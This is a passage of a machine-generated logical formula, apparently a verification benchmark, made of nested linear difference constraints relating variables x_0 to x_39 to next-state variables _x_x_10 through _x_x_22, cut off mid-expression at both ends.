_x_x_10)) <= -8.0) && (((x_8 + (-1.0 * _x_x_10)) <= -3.0) && (((x_7 + (-1.0 * _x_x_10)) <= -18.0) && (((x_6 + (-1.0 * _x_x_10)) <= -3.0) && (((x_1 + (-1.0 * _x_x_10)) <= -4.0) && ((x_3 + (-1.0 * _x_x_10)) <= -17.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_10)) == -19.0) || (((x_38 + (-1.0 * _x_x_10)) == -20.0) || (((x_36 + (-1.0 * _x_x_10)) == -4.0) || (((x_33 + (-1.0 * _x_x_10)) == -17.0) || (((x_30 + (-1.0 * _x_x_10)) == -3.0) || (((x_27 + (-1.0 * _x_x_10)) == -2.0) || (((x_24 + (-1.0 * _x_x_10)) == -15.0) || (((x_23 + (-1.0 * _x_x_10)) == -13.0) || (((x_19 + (-1.0 * _x_x_10)) == -5.0) || (((x_18 + (-1.0 * _x_x_10)) == -10.0) || (((x_17 + (-1.0 * _x_x_10)) == -16.0) || (((x_16 + (-1.0 * _x_x_10)) == -7.0) || (((x_14 + (-1.0 * _x_x_10)) == -19.0) || (((x_11 + (-1.0 * _x_x_10)) == -3.0) || (((x_10 + (-1.0 * _x_x_10)) == -8.0) || (((x_8 + (-1.0 * _x_x_10)) == -3.0) || (((x_7 + (-1.0 * _x_x_10)) == -18.0) || (((x_6 + (-1.0 * _x_x_10)) == -3.0) || (((x_1 + (-1.0 * _x_x_10)) == -4.0) || ((x_3 + (-1.0 * _x_x_10)) == -17.0)))))))))))))))))))))) && ((((x_38 + (-1.0 * _x_x_11)) <= -20.0) && (((x_36 + (-1.0 * _x_x_11)) <= -8.0) && (((x_32 + (-1.0 * _x_x_11)) <= -12.0) && (((x_31 + (-1.0 * _x_x_11)) <= -17.0) && (((x_30 + (-1.0 * _x_x_11)) <= -5.0) && (((x_26 + (-1.0 * _x_x_11)) <= -2.0) && (((x_25 + (-1.0 * _x_x_11)) <= -15.0) && (((x_21 + (-1.0 * _x_x_11)) <= -11.0) && (((x_19 + (-1.0 * _x_x_11)) <= -15.0) && (((x_16 + (-1.0 * _x_x_11)) <= -2.0) && (((x_15 + (-1.0 * _x_x_11)) <= -4.0) && (((x_13 + (-1.0 * _x_x_11)) <= -3.0) && (((x_11 + (-1.0 * _x_x_11)) <= -2.0) && (((x_8 + (-1.0 * _x_x_11)) <= -9.0) && (((x_7 + (-1.0 * _x_x_11)) <= -10.0) && (((x_5 + (-1.0 * _x_x_11)) <= -8.0) && (((x_4 + (-1.0 * _x_x_11)) <= -6.0) && (((x_3 + (-1.0 * _x_x_11)) <= -1.0) && (((x_0 + (-1.0 * _x_x_11)) <= -17.0) && ((x_2 + (-1.0 * _x_x_11)) <= -14.0)))))))))))))))))))) && (((x_38 + (-1.0 * _x_x_11)) == -20.0) || (((x_36 + (-1.0 * _x_x_11)) == -8.0) || (((x_32 + (-1.0 * _x_x_11)) == -12.0) || (((x_31 + (-1.0 * _x_x_11)) == -17.0) || (((x_30 + (-1.0 * _x_x_11)) == -5.0) || (((x_26 + (-1.0 * _x_x_11)) == -2.0) || (((x_25 + (-1.0 * _x_x_11)) == -15.0) || (((x_21 + (-1.0 * _x_x_11)) == -11.0) || (((x_19 + (-1.0 * _x_x_11)) == -15.0) || (((x_16 + (-1.0 * _x_x_11)) == -2.0) || (((x_15 + (-1.0 * _x_x_11)) == -4.0) || (((x_13 + (-1.0 * _x_x_11)) == -3.0) || (((x_11 + (-1.0 * _x_x_11)) == -2.0) || (((x_8 + (-1.0 * _x_x_11)) == -9.0) || (((x_7 + (-1.0 * _x_x_11)) == -10.0) || (((x_5 + (-1.0 * _x_x_11)) == -8.0) || (((x_4 + (-1.0 * _x_x_11)) == -6.0) || (((x_3 + (-1.0 * _x_x_11)) == -1.0) || (((x_0 + (-1.0 * _x_x_11)) == -17.0) || ((x_2 + (-1.0 * _x_x_11)) == -14.0)))))))))))))))))))))) && ((((x_37 + (-1.0 * _x_x_12)) <= -14.0) && (((x_33 + (-1.0 * _x_x_12)) <= -20.0) && (((x_32 + (-1.0 * _x_x_12)) <= -15.0) && (((x_30 + (-1.0 * _x_x_12)) <= -8.0) && (((x_29 + (-1.0 * _x_x_12)) <= -2.0) && (((x_28 + (-1.0 * _x_x_12)) <= -7.0) && (((x_25 + (-1.0 * _x_x_12)) <= -4.0) && (((x_23 + (-1.0 * _x_x_12)) <= -3.0) && (((x_21 + (-1.0 * _x_x_12)) <= -7.0) && (((x_19 + (-1.0 * _x_x_12)) <= -16.0) && (((x_17 + (-1.0 * _x_x_12)) <= -19.0) && (((x_14 + (-1.0 * _x_x_12)) <= -18.0) && (((x_13 + (-1.0 * _x_x_12)) <= -18.0) && (((x_12 + (-1.0 * _x_x_12)) <= -5.0) && (((x_11 + (-1.0 * _x_x_12)) <= -20.0) && (((x_10 + (-1.0 * _x_x_12)) <= -8.0) && (((x_9 + (-1.0 * _x_x_12)) <= -14.0) && (((x_7 + (-1.0 * _x_x_12)) <= -19.0) && (((x_0 + (-1.0 * _x_x_12)) <= -16.0) && ((x_5 + (-1.0 * _x_x_12)) <= -1.0)))))))))))))))))))) && (((x_37 + (-1.0 * _x_x_12)) == -14.0) || (((x_33 + (-1.0 * _x_x_12)) == -20.0) || (((x_32 + (-1.0 * _x_x_12)) == -15.0) || (((x_30 + (-1.0 * _x_x_12)) == -8.0) || (((x_29 + (-1.0 * _x_x_12)) == -2.0) || (((x_28 + (-1.0 * _x_x_12)) == -7.0) || (((x_25 + (-1.0 * _x_x_12)) == -4.0) || (((x_23 + (-1.0 * _x_x_12)) == -3.0) || (((x_21 + (-1.0 * _x_x_12)) == -7.0) || (((x_19 + (-1.0 * _x_x_12)) == -16.0) || (((x_17 + (-1.0 * _x_x_12)) == -19.0) || (((x_14 + (-1.0 * _x_x_12)) == -18.0) || (((x_13 + (-1.0 * _x_x_12)) == -18.0) || (((x_12 + (-1.0 * _x_x_12)) == -5.0) || (((x_11 + (-1.0 * _x_x_12)) == -20.0) || (((x_10 + (-1.0 * _x_x_12)) == -8.0) || (((x_9 + (-1.0 * _x_x_12)) == -14.0) || (((x_7 + (-1.0 * _x_x_12)) == -19.0) || (((x_0 + (-1.0 * _x_x_12)) == -16.0) || ((x_5 + (-1.0 * _x_x_12)) == -1.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_13)) <= -19.0) && (((x_38 + (-1.0 * _x_x_13)) <= -1.0) && (((x_36 + (-1.0 * _x_x_13)) <= -15.0) && (((x_35 + (-1.0 * _x_x_13)) <= -10.0) && (((x_33 + (-1.0 * _x_x_13)) <= -15.0) && (((x_32 + (-1.0 * _x_x_13)) <= -2.0) && (((x_31 + (-1.0 * _x_x_13)) <= -16.0) && (((x_30 + (-1.0 * _x_x_13)) <= -7.0) && (((x_27 + (-1.0 * _x_x_13)) <= -16.0) && (((x_26 + (-1.0 * _x_x_13)) <= -13.0) && (((x_24 + (-1.0 * _x_x_13)) <= -14.0) && (((x_21 + (-1.0 * _x_x_13)) <= -4.0) && (((x_16 + (-1.0 * _x_x_13)) <= -4.0) && (((x_14 + (-1.0 * _x_x_13)) <= -8.0) && (((x_7 + (-1.0 * _x_x_13)) <= -19.0) && (((x_6 + (-1.0 * _x_x_13)) <= -4.0) && (((x_4 + (-1.0 * _x_x_13)) <= -3.0) && (((x_3 + (-1.0 * _x_x_13)) <= -18.0) && (((x_0 + (-1.0 * _x_x_13)) <= -20.0) && ((x_1 + (-1.0 * _x_x_13)) <= -7.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_13)) == -19.0) || (((x_38 + (-1.0 * _x_x_13)) == -1.0) || (((x_36 + (-1.0 * _x_x_13)) == -15.0) || (((x_35 + (-1.0 * _x_x_13)) == -10.0) || (((x_33 + (-1.0 * _x_x_13)) == -15.0) || (((x_32 + (-1.0 * _x_x_13)) == -2.0) || (((x_31 + (-1.0 * _x_x_13)) == -16.0) || (((x_30 + (-1.0 * _x_x_13)) == -7.0) || (((x_27 + (-1.0 * _x_x_13)) == -16.0) || (((x_26 + (-1.0 * _x_x_13)) == -13.0) || (((x_24 + (-1.0 * _x_x_13)) == -14.0) || (((x_21 + (-1.0 * _x_x_13)) == -4.0) || (((x_16 + (-1.0 * _x_x_13)) == -4.0) || (((x_14 + (-1.0 * _x_x_13)) == -8.0) || (((x_7 + (-1.0 * _x_x_13)) == -19.0) || (((x_6 + (-1.0 * _x_x_13)) == -4.0) || (((x_4 + (-1.0 * _x_x_13)) == -3.0) || (((x_3 + (-1.0 * _x_x_13)) == -18.0) || (((x_0 + (-1.0 * _x_x_13)) == -20.0) || ((x_1 + (-1.0 * _x_x_13)) == -7.0)))))))))))))))))))))) && ((((x_38 + (-1.0 * _x_x_14)) <= -6.0) && (((x_37 + (-1.0 * _x_x_14)) <= -20.0) && (((x_35 + (-1.0 * _x_x_14)) <= -11.0) && (((x_33 + (-1.0 * _x_x_14)) <= -16.0) && (((x_30 + (-1.0 * _x_x_14)) <= -4.0) && (((x_29 + (-1.0 * _x_x_14)) <= -14.0) && (((x_28 + (-1.0 * _x_x_14)) <= -17.0) && (((x_26 + (-1.0 * _x_x_14)) <= -10.0) && (((x_24 + (-1.0 * _x_x_14)) <= -12.0) && (((x_21 + (-1.0 * _x_x_14)) <= -7.0) && (((x_17 + (-1.0 * _x_x_14)) <= -20.0) && (((x_16 + (-1.0 * _x_x_14)) <= -4.0) && (((x_15 + (-1.0 * _x_x_14)) <= -4.0) && (((x_14 + (-1.0 * _x_x_14)) <= -7.0) && (((x_10 + (-1.0 * _x_x_14)) <= -2.0) && (((x_8 + (-1.0 * _x_x_14)) <= -5.0) && (((x_7 + (-1.0 * _x_x_14)) <= -10.0) && (((x_6 + (-1.0 * _x_x_14)) <= -3.0) && (((x_2 + (-1.0 * _x_x_14)) <= -13.0) && ((x_4 + (-1.0 * _x_x_14)) <= -18.0)))))))))))))))))))) && (((x_38 + (-1.0 * _x_x_14)) == -6.0) || (((x_37 + (-1.0 * _x_x_14)) == -20.0) || (((x_35 + (-1.0 * _x_x_14)) == -11.0) || (((x_33 + (-1.0 * _x_x_14)) == -16.0) || (((x_30 + (-1.0 * _x_x_14)) == -4.0) || (((x_29 + (-1.0 * _x_x_14)) == -14.0) || (((x_28 + (-1.0 * _x_x_14)) == -17.0) || (((x_26 + (-1.0 * _x_x_14)) == -10.0) || (((x_24 + (-1.0 * _x_x_14)) == -12.0) || (((x_21 + (-1.0 * _x_x_14)) == -7.0) || (((x_17 + (-1.0 * _x_x_14)) == -20.0) || (((x_16 + (-1.0 * _x_x_14)) == -4.0) || (((x_15 + (-1.0 * _x_x_14)) == -4.0) || (((x_14 + (-1.0 * _x_x_14)) == -7.0) || (((x_10 + (-1.0 * _x_x_14)) == -2.0) || (((x_8 + (-1.0 * _x_x_14)) == -5.0) || (((x_7 + (-1.0 * _x_x_14)) == -10.0) || (((x_6 + (-1.0 * _x_x_14)) == -3.0) || (((x_2 + (-1.0 * _x_x_14)) == -13.0) || ((x_4 + (-1.0 * _x_x_14)) == -18.0)))))))))))))))))))))) && ((((x_38 + (-1.0 * _x_x_15)) <= -1.0) && (((x_37 + (-1.0 * _x_x_15)) <= -17.0) && (((x_35 + (-1.0 * _x_x_15)) <= -19.0) && (((x_34 + (-1.0 * _x_x_15)) <= -17.0) && (((x_33 + (-1.0 * _x_x_15)) <= -10.0) && (((x_32 + (-1.0 * _x_x_15)) <= -8.0) && (((x_28 + (-1.0 * _x_x_15)) <= -7.0) && (((x_27 + (-1.0 * _x_x_15)) <= -18.0) && (((x_25 + (-1.0 * _x_x_15)) <= -5.0) && (((x_24 + (-1.0 * _x_x_15)) <= -8.0) && (((x_20 + (-1.0 * _x_x_15)) <= -9.0) && (((x_19 + (-1.0 * _x_x_15)) <= -6.0) && (((x_16 + (-1.0 * _x_x_15)) <= -13.0) && (((x_13 + (-1.0 * _x_x_15)) <= -3.0) && (((x_12 + (-1.0 * _x_x_15)) <= -9.0) && (((x_11 + (-1.0 * _x_x_15)) <= -11.0) && (((x_10 + (-1.0 * _x_x_15)) <= -3.0) && (((x_9 + (-1.0 * _x_x_15)) <= -17.0) && (((x_5 + (-1.0 * _x_x_15)) <= -18.0) && ((x_8 + (-1.0 * _x_x_15)) <= -10.0)))))))))))))))))))) && (((x_38 + (-1.0 * _x_x_15)) == -1.0) || (((x_37 + (-1.0 * _x_x_15)) == -17.0) || (((x_35 + (-1.0 * _x_x_15)) == -19.0) || (((x_34 + (-1.0 * _x_x_15)) == -17.0) || (((x_33 + (-1.0 * _x_x_15)) == -10.0) || (((x_32 + (-1.0 * _x_x_15)) == -8.0) || (((x_28 + (-1.0 * _x_x_15)) == -7.0) || (((x_27 + (-1.0 * _x_x_15)) == -18.0) || (((x_25 + (-1.0 * _x_x_15)) == -5.0) || (((x_24 + (-1.0 * _x_x_15)) == -8.0) || (((x_20 + (-1.0 * _x_x_15)) == -9.0) || (((x_19 + (-1.0 * _x_x_15)) == -6.0) || (((x_16 + (-1.0 * _x_x_15)) == -13.0) || (((x_13 + (-1.0 * _x_x_15)) == -3.0) || (((x_12 + (-1.0 * _x_x_15)) == -9.0) || (((x_11 + (-1.0 * _x_x_15)) == -11.0) || (((x_10 + (-1.0 * _x_x_15)) == -3.0) || (((x_9 + (-1.0 * _x_x_15)) == -17.0) || (((x_5 + (-1.0 * _x_x_15)) == -18.0) || ((x_8 + (-1.0 * _x_x_15)) == -10.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_16)) <= -19.0) && (((x_38 + (-1.0 * _x_x_16)) <= -11.0) && (((x_37 + (-1.0 * _x_x_16)) <= -9.0) && (((x_33 + (-1.0 * _x_x_16)) <= -8.0) && (((x_31 + (-1.0 * _x_x_16)) <= -8.0) && (((x_30 + (-1.0 * _x_x_16)) <= -14.0) && (((x_28 + (-1.0 * _x_x_16)) <= -19.0) && (((x_26 + (-1.0 * _x_x_16)) <= -16.0) && (((x_25 + (-1.0 * _x_x_16)) <= -14.0) && (((x_24 + (-1.0 * _x_x_16)) <= -17.0) && (((x_21 + (-1.0 * _x_x_16)) <= -1.0) && (((x_15 + (-1.0 * _x_x_16)) <= -7.0) && (((x_14 + (-1.0 * _x_x_16)) <= -19.0) && (((x_12 + (-1.0 * _x_x_16)) <= -9.0) && (((x_10 + (-1.0 * _x_x_16)) <= -11.0) && (((x_6 + (-1.0 * _x_x_16)) <= -20.0) && (((x_4 + (-1.0 * _x_x_16)) <= -16.0) && (((x_3 + (-1.0 * _x_x_16)) <= -12.0) && (((x_0 + (-1.0 * _x_x_16)) <= -12.0) && ((x_1 + (-1.0 * _x_x_16)) <= -6.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_16)) == -19.0) || (((x_38 + (-1.0 * _x_x_16)) == -11.0) || (((x_37 + (-1.0 * _x_x_16)) == -9.0) || (((x_33 + (-1.0 * _x_x_16)) == -8.0) || (((x_31 + (-1.0 * _x_x_16)) == -8.0) || (((x_30 + (-1.0 * _x_x_16)) == -14.0) || (((x_28 + (-1.0 * _x_x_16)) == -19.0) || (((x_26 + (-1.0 * _x_x_16)) == -16.0) || (((x_25 + (-1.0 * _x_x_16)) == -14.0) || (((x_24 + (-1.0 * _x_x_16)) == -17.0) || (((x_21 + (-1.0 * _x_x_16)) == -1.0) || (((x_15 + (-1.0 * _x_x_16)) == -7.0) || (((x_14 + (-1.0 * _x_x_16)) == -19.0) || (((x_12 + (-1.0 * _x_x_16)) == -9.0) || (((x_10 + (-1.0 * _x_x_16)) == -11.0) || (((x_6 + (-1.0 * _x_x_16)) == -20.0) || (((x_4 + (-1.0 * _x_x_16)) == -16.0) || (((x_3 + (-1.0 * _x_x_16)) == -12.0) || (((x_0 + (-1.0 * _x_x_16)) == -12.0) || ((x_1 + (-1.0 * _x_x_16)) == -6.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_17)) <= -14.0) && (((x_37 + (-1.0 * _x_x_17)) <= -5.0) && (((x_35 + (-1.0 * _x_x_17)) <= -9.0) && (((x_32 + (-1.0 * _x_x_17)) <= -17.0) && (((x_30 + (-1.0 * _x_x_17)) <= -18.0) && (((x_29 + (-1.0 * _x_x_17)) <= -19.0) && (((x_24 + (-1.0 * _x_x_17)) <= -16.0) && (((x_23 + (-1.0 * _x_x_17)) <= -6.0) && (((x_22 + (-1.0 * _x_x_17)) <= -12.0) && (((x_17 + (-1.0 * _x_x_17)) <= -9.0) && (((x_15 + (-1.0 * _x_x_17)) <= -7.0) && (((x_14 + (-1.0 * _x_x_17)) <= -8.0) && (((x_12 + (-1.0 * _x_x_17)) <= -8.0) && (((x_9 + (-1.0 * _x_x_17)) <= -9.0) && (((x_8 + (-1.0 * _x_x_17)) <= -8.0) && (((x_6 + (-1.0 * _x_x_17)) <= -17.0) && (((x_5 + (-1.0 * _x_x_17)) <= -1.0) && (((x_4 + (-1.0 * _x_x_17)) <= -5.0) && (((x_0 + (-1.0 * _x_x_17)) <= -18.0) && ((x_1 + (-1.0 * _x_x_17)) <= -18.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_17)) == -14.0) || (((x_37 + (-1.0 * _x_x_17)) == -5.0) || (((x_35 + (-1.0 * _x_x_17)) == -9.0) || (((x_32 + (-1.0 * _x_x_17)) == -17.0) || (((x_30 + (-1.0 * _x_x_17)) == -18.0) || (((x_29 + (-1.0 * _x_x_17)) == -19.0) || (((x_24 + (-1.0 * _x_x_17)) == -16.0) || (((x_23 + (-1.0 * _x_x_17)) == -6.0) || (((x_22 + (-1.0 * _x_x_17)) == -12.0) || (((x_17 + (-1.0 * _x_x_17)) == -9.0) || (((x_15 + (-1.0 * _x_x_17)) == -7.0) || (((x_14 + (-1.0 * _x_x_17)) == -8.0) || (((x_12 + (-1.0 * _x_x_17)) == -8.0) || (((x_9 + (-1.0 * _x_x_17)) == -9.0) || (((x_8 + (-1.0 * _x_x_17)) == -8.0) || (((x_6 + (-1.0 * _x_x_17)) == -17.0) || (((x_5 + (-1.0 * _x_x_17)) == -1.0) || (((x_4 + (-1.0 * _x_x_17)) == -5.0) || (((x_0 + (-1.0 * _x_x_17)) == -18.0) || ((x_1 + (-1.0 * _x_x_17)) == -18.0)))))))))))))))))))))) && ((((x_38 + (-1.0 * _x_x_18)) <= -9.0) && (((x_35 + (-1.0 * _x_x_18)) <= -19.0) && (((x_34 + (-1.0 * _x_x_18)) <= -7.0) && (((x_32 + (-1.0 * _x_x_18)) <= -10.0) && (((x_30 + (-1.0 * _x_x_18)) <= -3.0) && (((x_28 + (-1.0 * _x_x_18)) <= -1.0) && (((x_24 + (-1.0 * _x_x_18)) <= -18.0) && (((x_23 + (-1.0 * _x_x_18)) <= -2.0) && (((x_22 + (-1.0 * _x_x_18)) <= -13.0) && (((x_21 + (-1.0 * _x_x_18)) <= -3.0) && (((x_19 + (-1.0 * _x_x_18)) <= -19.0) && (((x_17 + (-1.0 * _x_x_18)) <= -20.0) && (((x_16 + (-1.0 * _x_x_18)) <= -2.0) && (((x_15 + (-1.0 * _x_x_18)) <= -19.0) && (((x_13 + (-1.0 * _x_x_18)) <= -13.0) && (((x_12 + (-1.0 * _x_x_18)) <= -10.0) && (((x_11 + (-1.0 * _x_x_18)) <= -19.0) && (((x_6 + (-1.0 * _x_x_18)) <= -14.0) && (((x_2 + (-1.0 * _x_x_18)) <= -19.0) && ((x_5 + (-1.0 * _x_x_18)) <= -16.0)))))))))))))))))))) && (((x_38 + (-1.0 * _x_x_18)) == -9.0) || (((x_35 + (-1.0 * _x_x_18)) == -19.0) || (((x_34 + (-1.0 * _x_x_18)) == -7.0) || (((x_32 + (-1.0 * _x_x_18)) == -10.0) || (((x_30 + (-1.0 * _x_x_18)) == -3.0) || (((x_28 + (-1.0 * _x_x_18)) == -1.0) || (((x_24 + (-1.0 * _x_x_18)) == -18.0) || (((x_23 + (-1.0 * _x_x_18)) == -2.0) || (((x_22 + (-1.0 * _x_x_18)) == -13.0) || (((x_21 + (-1.0 * _x_x_18)) == -3.0) || (((x_19 + (-1.0 * _x_x_18)) == -19.0) || (((x_17 + (-1.0 * _x_x_18)) == -20.0) || (((x_16 + (-1.0 * _x_x_18)) == -2.0) || (((x_15 + (-1.0 * _x_x_18)) == -19.0) || (((x_13 + (-1.0 * _x_x_18)) == -13.0) || (((x_12 + (-1.0 * _x_x_18)) == -10.0) || (((x_11 + (-1.0 * _x_x_18)) == -19.0) || (((x_6 + (-1.0 * _x_x_18)) == -14.0) || (((x_2 + (-1.0 * _x_x_18)) == -19.0) || ((x_5 + (-1.0 * _x_x_18)) == -16.0)))))))))))))))))))))) && ((((x_37 + (-1.0 * _x_x_19)) <= -12.0) && (((x_36 + (-1.0 * _x_x_19)) <= -17.0) && (((x_35 + (-1.0 * _x_x_19)) <= -20.0) && (((x_32 + (-1.0 * _x_x_19)) <= -10.0) && (((x_30 + (-1.0 * _x_x_19)) <= -1.0) && (((x_27 + (-1.0 * _x_x_19)) <= -11.0) && (((x_24 + (-1.0 * _x_x_19)) <= -13.0) && (((x_22 + (-1.0 * _x_x_19)) <= -8.0) && (((x_21 + (-1.0 * _x_x_19)) <= -9.0) && (((x_19 + (-1.0 * _x_x_19)) <= -18.0) && (((x_18 + (-1.0 * _x_x_19)) <= -2.0) && (((x_15 + (-1.0 * _x_x_19)) <= -20.0) && (((x_13 + (-1.0 * _x_x_19)) <= -18.0) && (((x_11 + (-1.0 * _x_x_19)) <= -13.0) && (((x_10 + (-1.0 * _x_x_19)) <= -6.0) && (((x_5 + (-1.0 * _x_x_19)) <= -19.0) && (((x_3 + (-1.0 * _x_x_19)) <= -5.0) && (((x_2 + (-1.0 * _x_x_19)) <= -15.0) && (((x_0 + (-1.0 * _x_x_19)) <= -19.0) && ((x_1 + (-1.0 * _x_x_19)) <= -12.0)))))))))))))))))))) && (((x_37 + (-1.0 * _x_x_19)) == -12.0) || (((x_36 + (-1.0 * _x_x_19)) == -17.0) || (((x_35 + (-1.0 * _x_x_19)) == -20.0) || (((x_32 + (-1.0 * _x_x_19)) == -10.0) || (((x_30 + (-1.0 * _x_x_19)) == -1.0) || (((x_27 + (-1.0 * _x_x_19)) == -11.0) || (((x_24 + (-1.0 * _x_x_19)) == -13.0) || (((x_22 + (-1.0 * _x_x_19)) == -8.0) || (((x_21 + (-1.0 * _x_x_19)) == -9.0) || (((x_19 + (-1.0 * _x_x_19)) == -18.0) || (((x_18 + (-1.0 * _x_x_19)) == -2.0) || (((x_15 + (-1.0 * _x_x_19)) == -20.0) || (((x_13 + (-1.0 * _x_x_19)) == -18.0) || (((x_11 + (-1.0 * _x_x_19)) == -13.0) || (((x_10 + (-1.0 * _x_x_19)) == -6.0) || (((x_5 + (-1.0 * _x_x_19)) == -19.0) || (((x_3 + (-1.0 * _x_x_19)) == -5.0) || (((x_2 + (-1.0 * _x_x_19)) == -15.0) || (((x_0 + (-1.0 * _x_x_19)) == -19.0) || ((x_1 + (-1.0 * _x_x_19)) == -12.0)))))))))))))))))))))) && ((((x_38 + (-1.0 * _x_x_20)) <= -12.0) && (((x_37 + (-1.0 * _x_x_20)) <= -19.0) && (((x_34 + (-1.0 * _x_x_20)) <= -13.0) && (((x_33 + (-1.0 * _x_x_20)) <= -20.0) && (((x_30 + (-1.0 * _x_x_20)) <= -18.0) && (((x_29 + (-1.0 * _x_x_20)) <= -20.0) && (((x_27 + (-1.0 * _x_x_20)) <= -7.0) && (((x_26 + (-1.0 * _x_x_20)) <= -18.0) && (((x_25 + (-1.0 * _x_x_20)) <= -1.0) && (((x_22 + (-1.0 * _x_x_20)) <= -12.0) && (((x_21 + (-1.0 * _x_x_20)) <= -19.0) && (((x_17 + (-1.0 * _x_x_20)) <= -1.0) && (((x_15 + (-1.0 * _x_x_20)) <= -13.0) && (((x_14 + (-1.0 * _x_x_20)) <= -10.0) && (((x_12 + (-1.0 * _x_x_20)) <= -13.0) && (((x_9 + (-1.0 * _x_x_20)) <= -3.0) && (((x_8 + (-1.0 * _x_x_20)) <= -1.0) && (((x_4 + (-1.0 * _x_x_20)) <= -13.0) && (((x_0 + (-1.0 * _x_x_20)) <= -15.0) && ((x_2 + (-1.0 * _x_x_20)) <= -18.0)))))))))))))))))))) && (((x_38 + (-1.0 * _x_x_20)) == -12.0) || (((x_37 + (-1.0 * _x_x_20)) == -19.0) || (((x_34 + (-1.0 * _x_x_20)) == -13.0) || (((x_33 + (-1.0 * _x_x_20)) == -20.0) || (((x_30 + (-1.0 * _x_x_20)) == -18.0) || (((x_29 + (-1.0 * _x_x_20)) == -20.0) || (((x_27 + (-1.0 * _x_x_20)) == -7.0) || (((x_26 + (-1.0 * _x_x_20)) == -18.0) || (((x_25 + (-1.0 * _x_x_20)) == -1.0) || (((x_22 + (-1.0 * _x_x_20)) == -12.0) || (((x_21 + (-1.0 * _x_x_20)) == -19.0) || (((x_17 + (-1.0 * _x_x_20)) == -1.0) || (((x_15 + (-1.0 * _x_x_20)) == -13.0) || (((x_14 + (-1.0 * _x_x_20)) == -10.0) || (((x_12 + (-1.0 * _x_x_20)) == -13.0) || (((x_9 + (-1.0 * _x_x_20)) == -3.0) || (((x_8 + (-1.0 * _x_x_20)) == -1.0) || (((x_4 + (-1.0 * _x_x_20)) == -13.0) || (((x_0 + (-1.0 * _x_x_20)) == -15.0) || ((x_2 + (-1.0 * _x_x_20)) == -18.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_21)) <= -13.0) && (((x_38 + (-1.0 * _x_x_21)) <= -10.0) && (((x_35 + (-1.0 * _x_x_21)) <= -18.0) && (((x_34 + (-1.0 * _x_x_21)) <= -6.0) && (((x_33 + (-1.0 * _x_x_21)) <= -17.0) && (((x_31 + (-1.0 * _x_x_21)) <= -3.0) && (((x_29 + (-1.0 * _x_x_21)) <= -1.0) && (((x_26 + (-1.0 * _x_x_21)) <= -17.0) && (((x_25 + (-1.0 * _x_x_21)) <= -14.0) && (((x_22 + (-1.0 * _x_x_21)) <= -15.0) && (((x_21 + (-1.0 * _x_x_21)) <= -13.0) && (((x_20 + (-1.0 * _x_x_21)) <= -4.0) && (((x_19 + (-1.0 * _x_x_21)) <= -1.0) && (((x_17 + (-1.0 * _x_x_21)) <= -12.0) && (((x_14 + (-1.0 * _x_x_21)) <= -7.0) && (((x_13 + (-1.0 * _x_x_21)) <= -4.0) && (((x_9 + (-1.0 * _x_x_21)) <= -5.0) && (((x_6 + (-1.0 * _x_x_21)) <= -6.0) && (((x_0 + (-1.0 * _x_x_21)) <= -13.0) && ((x_4 + (-1.0 * _x_x_21)) <= -18.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_21)) == -13.0) || (((x_38 + (-1.0 * _x_x_21)) == -10.0) || (((x_35 + (-1.0 * _x_x_21)) == -18.0) || (((x_34 + (-1.0 * _x_x_21)) == -6.0) || (((x_33 + (-1.0 * _x_x_21)) == -17.0) || (((x_31 + (-1.0 * _x_x_21)) == -3.0) || (((x_29 + (-1.0 * _x_x_21)) == -1.0) || (((x_26 + (-1.0 * _x_x_21)) == -17.0) || (((x_25 + (-1.0 * _x_x_21)) == -14.0) || (((x_22 + (-1.0 * _x_x_21)) == -15.0) || (((x_21 + (-1.0 * _x_x_21)) == -13.0) || (((x_20 + (-1.0 * _x_x_21)) == -4.0) || (((x_19 + (-1.0 * _x_x_21)) == -1.0) || (((x_17 + (-1.0 * _x_x_21)) == -12.0) || (((x_14 + (-1.0 * _x_x_21)) == -7.0) || (((x_13 + (-1.0 * _x_x_21)) == -4.0) || (((x_9 + (-1.0 * _x_x_21)) == -5.0) || (((x_6 + (-1.0 * _x_x_21)) == -6.0) || (((x_0 + (-1.0 * _x_x_21)) == -13.0) || ((x_4 + (-1.0 * _x_x_21)) == -18.0)))))))))))))))))))))) && ((((x_38 + (-1.0 * _x_x_22)) <= -7.0) && (((x_36 + (-1.0 * _x_x_22)) <= -11.0) && (((x_35 + (-1.0 * _x_x_22)) <= -17.0) && (((x_33 + (-1.0 * _x_x_22)) <= -14.0) && (((x_32 + (-1.0 * _x_x_22)) <= -12.0) && (((x_31 + (-1.0 * _x_x_22)) <= -9.0) && (((x_30 + (-1.0 * _x_x_22)) <= -9.0) && (((x_28 + (-1.0 * _x_x_22)) <= -13.0) && (((x_27 + (-1.0 * _x_x_22)) <= -10.0) && (((x_26 + (-1.0 * _x_x_22)) <= -14.0) && (((x_21 + (-1.0 * _x_x_22)) <= -16.0) && (((x_19 + (-1.0 * _x_x_22)) <= -13.0) && (((x_18 + (-1.0 * _x_x_22)) <= -13.0) && (((x_17 + (-1.0 * _x_x_22)) <= -3.0) && (((x_16 + (-1.0 * _x_x_22)) <= -11.0) && (((x_12 + (-1.0 * _x_x_22)) <= -16.0) && (((x_9 + (-1.0 * _x_x_22)) <= -2.0) && (((x_5 + (-1.0 * _x_x_22)) <= -5.0) && (((x_1 + (-1.0 * _x_x_22)) <= -8.0) && ((x_2 + (-1.0 * _x_x_22)) <= -6.0)))))))))))))))))))) && (((x_38 + (-1.0 * _x_x_22)) == -7.0) || (((x_36 + (-1.0 * _x_x_22)) == -11.0) || (((x_35 + (-1.0 * _x_x_22)) == -17.0) || (((x_33 + (-1.0 * _x_x_22)) == -14.0) || (((x_32 + (-1.0 * _x_x_22)) == -12.0) || (((x_31 + (-1.0 * _x_x_22)) == -9.0) || (((x_30 + (-1.0 * _x_x_22)) == -9.0) || (((x_28 + (-1.0 * _x_x_22)) == -13.0) || (((x_27 + (-1.0 * _x_x_22)) == -10.0) || (((x_26 + (-1.0 * _x_x_22)) == -14.0) || (((x_21 + (-1.0 * _x_x_22)) == -16.0) || (((x_19 + (-1.0 * _x_x_22)) == -13.0) || (((x_18 + (-1.0 * _x_x_22)) == -13.0) || (((x_17 + (-1.0 * _x_x_22)) 